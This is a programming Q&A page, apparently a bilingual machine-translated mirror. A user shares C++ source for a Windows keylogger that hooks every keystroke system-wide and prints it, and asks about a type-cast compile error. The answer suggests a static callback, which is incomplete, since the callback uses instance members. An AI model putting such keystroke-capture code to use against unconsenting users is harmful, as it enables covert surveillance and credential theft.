[英]error C2440: 'type cast' : cannot convert from 'overloaded-function' to 'HOOKPROC'
I`m working on keylogger, and this is what I got 我正在研究键盘记录器,这就是我得到的
Keylogger.h: Keylogger.h:
#pragma once
#include <stdio.h>
#include <windows.h>
class Keylogger
{
KBDLLHOOKSTRUCT kbdStruct;
BYTE keyState[256];
WCHAR buffer[16];
public:
HHOOK hKeyHook;
Keylogger(void);
~Keylogger(void);
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
};
Keylogger.cpp: Keylogger.cpp:
#include "Keylogger.h"
Keylogger::Keylogger(void)
{
}
Keylogger::~Keylogger(void)
{
}
LRESULT WINAPI Keylogger::KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
main.cpp: main.cpp中:
#include "Keylogger.cpp"
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
Keylogger kl = Keylogger();
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(kl.hKeyHook);
return 0;
}
On the following line kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
在以下行kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
i get error C2440: 'type cast' : cannot convert from 'overloaded-function' to 'HOOKPROC' 我得到错误C2440:'type cast':无法从'overloaded-function'转换为'HOOKPROC'
Is there a way to fix this? 有没有办法解决这个问题?
WinAPI is mostly a C programming interface, so it doesn't know about classes. WinAPI主要是一个C编程接口,因此它不了解类。 The callback should be static: 回调应该是静态的:
static LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
Then 然后
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) Keylogger::KeyEvent, GetModuleHandle(NULL), 0);
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.